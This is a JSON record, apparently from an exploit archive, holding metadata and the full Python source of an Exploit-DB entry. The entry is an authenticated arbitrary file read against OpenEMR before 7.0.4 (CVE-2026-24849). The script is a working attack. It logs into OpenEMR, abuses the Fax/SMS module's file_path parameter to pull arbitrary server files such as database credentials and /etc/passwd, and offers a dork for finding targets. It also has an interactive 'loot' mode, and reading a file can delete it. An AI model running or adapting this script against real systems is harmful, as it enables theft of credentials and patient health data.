{"exploit":{"id":"EDB-52610","name":"OpenEMR 7.0.2 - 'file_path' Authenticated Arbitrary File Read","description":"OpenEMR 7.0.2 - 'file_path' Authenticated Arbitrary File Read","cves":["CVE-2026-24849"],"author":"doany1","published":"2026-06-08","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52610","path":"exploits/php/webapps/52610.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52610.py","vulnerabilities":[{"id":"CVE-2026-24849","state":"PUBLISHED","title":"OpenEMR Arbitrary File Read Vulnerability","titleSource":"CVE Program","description":"OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 7.0.4, the `disposeDocument()` method in `EtherFaxActions.php` allows authenticated users to read arbitrary files from the server filesystem. Any authenticated user (regardless of privilege level) can exploit this vulnerability to read sensitive files. Version 7.0.4 patches the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24849","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24849"},"updatedAt":"2026-02-25T21:05:01.567Z","retrievedAt":"2026-11-25T16:15:43.214Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52610.png?v=2","url":"https://exploitbin.com/exploits/EDB-52610","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52610/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52610/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read\n# Google Dork: intitle:\"OpenEMR\" inurl:\"interface/login/login.php\"\n# Date: 2026-06-06\n# Exploit Author: doany1\n# Vendor Homepage: https://www.open-emr.org/\n# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download\n# Version: OpenEMR < 7.0.4 (tested on 7.0.2)\n# Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2)\n# CVE : CVE-2026-24849\n# CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n#\n# Description:\n#   The Fax/SMS module's EtherFaxActions::disposeDoc() method\n#   (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied\n#   `file_path` request parameter and passes it straight to readfile() with no\n#   path validation. The method never calls authenticate(), so the only thing\n#   required to reach it is a valid OpenEMR session.\n#\n# Privilege required:\n#   ANY authenticated user -- this is NOT an admin-only bug. A low-privilege\n#   account (receptionist, clinician, etc.) can read any file the web-server\n#   user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd,\n#   application source, and so on. The admin/pass values in the examples below\n#   are only convenient demo credentials, not a requirement of the bug.\n#\n# Prerequisites:\n#   - Any valid OpenEMR login (no privileges required).\n#   - The Fax/SMS module enabled with EtherFax selected as the fax provider\n#     (the file read does NOT require a real EtherFax account).\n#\n# WARNING (destructive):\n#   disposeDoc() calls unlink() on the target *after* reading it. Reading a file\n#   that the web-server user is allowed to delete WILL remove it. Prefer\n#   root-owned targets (e.g. /etc/passwd) whose parent directory the web user\n#   cannot write, so the unlink() fails and the file survives.\n#\n# References:\n#   https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc\n#   https://nvd.nist.gov/vuln/detail/CVE-2026-24849\n#\n# Usage:\n#   Interactive (prompts for everything):\n#     python3 exploit-CVE-2026-24849.py\n#   Non-interactive:\n#     python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass \\\n#         -f /var/www/html/openemr/sites/default/sqlconf.php\n\nimport argparse\nimport getpass\nimport re\nimport sys\n\ntry:\n    import requests\n    from urllib3.exceptions import InsecureRequestWarning\n    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nexcept ImportError:\n    sys.exit(\"[-] This exploit needs the 'requests' module:  pip3 install requests\")\n\nUA = \"Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0\"\nFAXSMS = \"/interface/modules/custom_modules/oe-module-faxsms/index.php\"\n# Method name varies across affected minor versions (disposeDoc <-> disposeDocument).\nACTIONS = [\"disposeDoc\", \"disposeDocument\"]\n# An unauthenticated request is answered with a JS redirect to this path.\n# (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)\nFAIL_MARKER = \"login_screen.php?error=1\"\n\n\ndef ask(prompt, default=None, secret=False):\n    label = \"%s [%s]: \" % (prompt, default) if default else \"%s: \" % prompt\n    value = getpass.getpass(label) if secret else input(label).strip()\n    return value or default\n\n\ndef login(sess, base, site, user, password):\n    \"\"\"Establish an OpenEMR session in `sess`. Validity is confirmed later by an\n    actual file read, so this just performs the GET (CSRF prime) + POST.\"\"\"\n    # 1) prime a session cookie and grab the CSRF token if the form exposes one\n    r = sess.get(base + \"/interface/login/login.php\",\n                 params={\"site\": site}, timeout=20, verify=False)\n    m = re.search(r\"csrf_token_form.*?value=([\\\"'])(.*?)\\1\", r.text, re.S)\n\n    data = {\n        \"new_login_session_management\": \"1\",\n        \"authProvider\": \"Default\",\n        \"authUser\": user,\n        \"clearPass\": password,\n        \"languageChoice\": \"1\",\n    }\n    if m:  # OpenEMR doesn't enforce it on this POST, but send it when present\n        data[\"csrf_token_form\"] = m.group(2)\n\n    # 2) authenticate\n    sess.post(base + \"/interface/main/main_screen.php\",\n              params={\"auth\": \"login\", \"site\": site},\n              data=data, timeout=20, verify=False)\n\n\ndef read_file(sess, base, site, remote_path):\n    \"\"\"Return (content, status). status in {ok, session, missing}.\"\"\"\n    for action in ACTIONS:\n        r = sess.get(base + FAXSMS,\n                     params={\"site\": site, \"type\": \"fax\",\n                             \"_ACTION_COMMAND\": action,\n                             \"file_path\": remote_path, \"action\": \"download\"},\n                     timeout=20, verify=False)\n        body = r.text\n        if FAIL_MARKER in body:\n            return None, \"session\"\n        if \"Problem with download\" in body:\n            return None, \"missing\"            # method ran, file absent/unreadable\n        if body.strip() == \"\":\n            continue                          # likely wrong method name -> try next\n        return body, \"ok\"\n    return None, \"missing\"\n\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)\")\n    ap.add_argument(\"-t\", \"--target\", help=\"Base URL, e.g. http://10.10.10.10\")\n    ap.add_argument(\"-u\", \"--user\", help=\"OpenEMR username (default: admin)\")\n    ap.add_argument(\"-P\", \"--password\", help=\"OpenEMR password\")\n    ap.add_argument(\"-s\", \"--site\", help=\"OpenEMR site (default: default)\")\n    ap.add_argument(\"-f\", \"--file\", help=\"Absolute path of the remote file to read\")\n    ap.add_argument(\"-o\", \"--output\", help=\"Save looted file here instead of printing\")\n    args = ap.parse_args()\n\n    print(\"[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\\n\")\n\n    target = args.target or ask(\"Target base URL (e.g. http://10.10.10.10)\")\n    if not target:\n        sys.exit(\"[-] Target is required.\")\n    target = target.rstrip(\"/\")\n    if not target.startswith(\"http\"):\n        target = \"http://\" + target\n\n    user = args.user or ask(\"Username\", default=\"admin\")\n    password = args.password if args.password is not None else ask(\"Password\", secret=True)\n    site = args.site or ask(\"Site\", default=\"default\")\n\n    sess = requests.Session()\n    sess.headers.update({\"User-Agent\": UA})\n\n    try:\n        print(\"[*] Authenticating to %s as '%s' ...\" % (target, user))\n        login(sess, target, site, user, password)\n        # Confirm auth + that the vulnerable module is reachable by reading a\n        # safe, root-owned probe file (its unlink() fails, so it is not deleted).\n        _, status = read_file(sess, target, site, \"/etc/hostname\")\n    except requests.RequestException as e:\n        sys.exit(\"[-] Connection error: %s\" % e)\n\n    if status == \"session\":\n        sys.exit(\"[-] Login failed - check credentials / site.\")\n    if status == \"missing\":\n        print(\"[!] Logged in, but the file-read returned nothing.\")\n        print(\"    Confirm the Fax/SMS module is enabled with EtherFax as the provider.\\n\")\n    else:\n        print(\"[+] Authenticated; CVE-2026-24849 file-read confirmed.\\n\")\n\n    def loot(path):\n        try:\n            data, status = read_file(sess, target, site, path)\n        except requests.RequestException as e:\n            print(\"[-] Connection error: %s\" % e)\n            return \"error\"\n        if status == \"session\":\n            print(\"[-] Session rejected (auth/ACL problem).\")\n        elif status == \"missing\":\n            print(\"[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled.\" % path)\n        else:\n            if args.output:\n                with open(args.output, \"w\") as fh:\n                    fh.write(data)\n                print(\"[+] %d bytes of '%s' written to %s\" % (len(data), path, args.output))\n            else:\n                print(\"[+] ---------- %s ----------\" % path)\n                sys.stdout.write(data if data.endswith(\"\\n\") else data + \"\\n\")\n                print(\"[+] --------------------------\")\n        return status\n\n    # single-shot mode\n    if args.file:\n        status = loot(args.file)\n        sys.exit(0 if status == \"ok\" else 2)\n\n    # interactive mode: read files until the operator quits\n    print(\"[*] Interactive read - enter absolute file paths (blank or 'q' to quit).\")\n    print(\"    Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\\n\")\n    while True:\n        path = ask(\"file_path(Which file would you like to see e.g /etc/passwd)\")\n        if not path or path.lower() in (\"q\", \"quit\", \"exit\"):\n            break\n        loot(path)\n        print()\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"979170a189215b7f61708fde51f8641ab13ecd0edfca11635497dfc124bf7cd7","bytes":8625,"fetchedAt":"2026-11-26T08:58:57.201Z","encoding":"utf-8 (display only; download retains original bytes)"}